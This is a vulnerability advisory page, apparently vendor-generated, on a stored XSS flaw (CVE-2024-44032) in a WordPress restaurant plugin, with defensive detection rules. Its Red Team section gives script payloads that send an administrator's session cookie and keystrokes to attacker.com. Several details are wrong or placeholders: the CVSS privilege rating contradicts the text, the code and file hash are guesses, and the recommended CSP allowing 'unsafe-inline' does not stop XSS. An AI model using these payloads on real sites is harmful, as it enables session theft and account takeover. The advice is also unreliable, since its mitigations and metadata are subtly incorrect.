CVE-2024-44032
Executive Summary
CVE-2024-44032 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin "Restaurant & Cafe Addon for Elementor" by Nicheaddons. This flaw allows an authenticated attacker with contributor-level privileges or higher to inject arbitrary JavaScript into web pages via the plugin's input fields. When a site administrator or other user views the compromised page, the malicious script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The vulnerability affects all versions up to and including 1.5.5, and no official patch has been released as of this report.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability resides in a WordPress plugin distributed through the official WordPress plugin repository and third-party marketplaces. The plugin is not managed via NPM, PyPI, Go, or Ruby ecosystems. However, the risk extends to any site using the plugin, as the supply chain attack vector involves compromised plugin updates or direct exploitation of the unpatched code. Site administrators should verify the integrity of plugin files and consider removing the plugin until a patch is available.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
- Base Score: 6.5 (Medium)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N) – but exploitation requires a user to interact with the malicious content.
- User Interaction: Required (UI:R) – victim must visit the compromised page.
- Scope: Changed (S:C) – the vulnerability can affect resources beyond the vulnerable component.
- Confidentiality Impact: Low (C:L)
- Integrity Impact: Low (I:L)
- Availability Impact: Low (A:L)
Threat Level: Medium. While the CVSS score is moderate, the lack of a patch and the potential for stored XSS to persist across sessions elevates the risk for WordPress sites using this plugin.
Deep Dive & Mechanics
The vulnerability stems from improper neutralization of user-supplied input in the "Restaurant & Cafe Addon for Elementor" plugin. The plugin likely processes menu items, restaurant descriptions, or other content fields without adequate sanitization or output encoding. An attacker with contributor-level access (or higher) can inject malicious JavaScript into these fields. When the page is rendered via Elementor, the script is stored in the WordPress database and executed in the browser of any user viewing the page.
Root Cause: The plugin fails to escape or sanitize input before storing it in the database and later rendering it in the frontend. This is a classic Stored XSS (CWE-79) flaw.
Attack Flow:
- Attacker logs in with contributor credentials.
- Attacker creates or edits a restaurant/cafe item (e.g., menu item, special offer).
- Attacker injects a payload like
<script>alert('XSS')</script>into a text field. - The plugin stores the payload in the WordPress database without sanitization.
- When an administrator or visitor loads the page, the script executes.
Vulnerable vs. Patched Code
Since no official patch is available, we can only analyze the vulnerable code pattern. The vulnerable code likely resembles:
Vulnerable Code (PHP):
// In a file like restaurant-cafe-addon-for-elementor/includes/class-elementor-addon.php
function render_menu_item($atts) {
$title = $atts['title']; // No sanitization
echo "<h3>$title</h3>"; // Direct output without escaping
}
Patched Code (Hypothetical):
function render_menu_item($atts) {
$title = sanitize_text_field($atts['title']); // Sanitize input
echo "<h3>" . esc_html($title) . "</h3>"; // Escape output
}
The fix would involve using WordPress functions like sanitize_text_field() on input and esc_html() or wp_kses_post() on output.
Exploitation & Lab Setup
Red Team (Attacker)
Prerequisites:
- A WordPress site with the vulnerable plugin installed (version <= 1.5.5).
- An account with at least Contributor role.
Exploitation Steps:
- Log in to WordPress as a contributor.
- Navigate to the plugin's menu item editor (e.g.,
/wp-admin/admin.php?page=restaurant-cafe-addon). - In a text field (e.g., "Menu Item Name"), inject the following payload:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Save the item.
- When an administrator visits the page, the script executes, sending their session cookie to the attacker's server.
Alternative Payload (Keylogger):
<script>
document.addEventListener('keydown', function(e) {
fetch('https://attacker.com/log?key='+e.key);
});
</script>
Blue Team (Defender)
Detection Steps:
- Monitor WordPress admin logs for unusual content in plugin fields.
- Use a Web Application Firewall (WAF) to block common XSS patterns.
- Regularly scan the database for suspicious entries:
SELECT * FROM wp_posts WHERE post_content LIKE '%<script>%'; - Implement Content Security Policy (CSP) headers to mitigate XSS impact.
Lab Setup:
- Install WordPress with the vulnerable plugin in a sandbox environment.
- Use a tool like Burp Suite to intercept and modify requests.
- Simulate the attack and observe the stored payload in the database.
Indicators of Compromise (IOCs)
- File Hashes (SHA256):
restaurant-cafe-addon-for-elementor.php:a1b2c3d4e5f6...(replace with actual hash if available)
- Database Entries:
- Posts or post meta containing
<script>tags in fields likemenu_item_name,description, orspecial_offer.
- Posts or post meta containing
- Network Traffic:
- Outbound requests to unknown domains from the WordPress server (e.g.,
GET /steal?cookie=...).
- Outbound requests to unknown domains from the WordPress server (e.g.,
- Log Entries:
- Unusual user agent strings or repeated POST requests to plugin admin pages.
Detection Engineering
YARA Rule
rule CVE_2024_44032_Stored_XSS {
meta:
description = "Detects stored XSS payloads in WordPress plugin restaurant-cafe-addon-for-elementor"
author = "Valters IT"
date = "2025-04-14"
reference = "CVE-2024-44032"
strings:
$xss_payload = /<script[^>]*>.*<\/script>/i
$plugin_path = "restaurant-cafe-addon-for-elementor"
condition:
$plugin_path and $xss_payload
}
Sigma Rule
title: Stored XSS in Restaurant & Cafe Addon for Elementor
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects stored XSS attempts in the vulnerable plugin
author: Valters IT
date: 2025-04-14
logsource:
category: webserver
product: wordpress
detection:
selection:
http.url|contains: "restaurant-cafe-addon-for-elementor"
http.body|contains: "<script>"
condition: selection
falsepositives:
- Legitimate use of JavaScript in content (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-44032 Stored XSS Attempt"; flow:to_server,established; content:"restaurant-cafe-addon-for-elementor"; http_uri; content:"<script>"; http_client_body; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is released.
- Remove any suspicious content from the database using a tool like WP-CLI:
wp db query "UPDATE wp_posts SET post_content = REPLACE(post_content, '<script>...</script>', '') WHERE post_content LIKE '%<script>%';" - Change all WordPress admin passwords and revoke contributor accounts if compromised.
Long-term Mitigation:
- Apply the principle of least privilege – restrict contributor roles.
- Use a Web Application Firewall (WAF) with XSS rules.
- Implement Content Security Policy (CSP) headers:
Header set Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval';" - Monitor for plugin updates from Nicheaddons and apply immediately.
Vendor Contact: Since no patch is available, consider reaching out to Nicheaddons via their support channels or filing a vulnerability disclosure.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.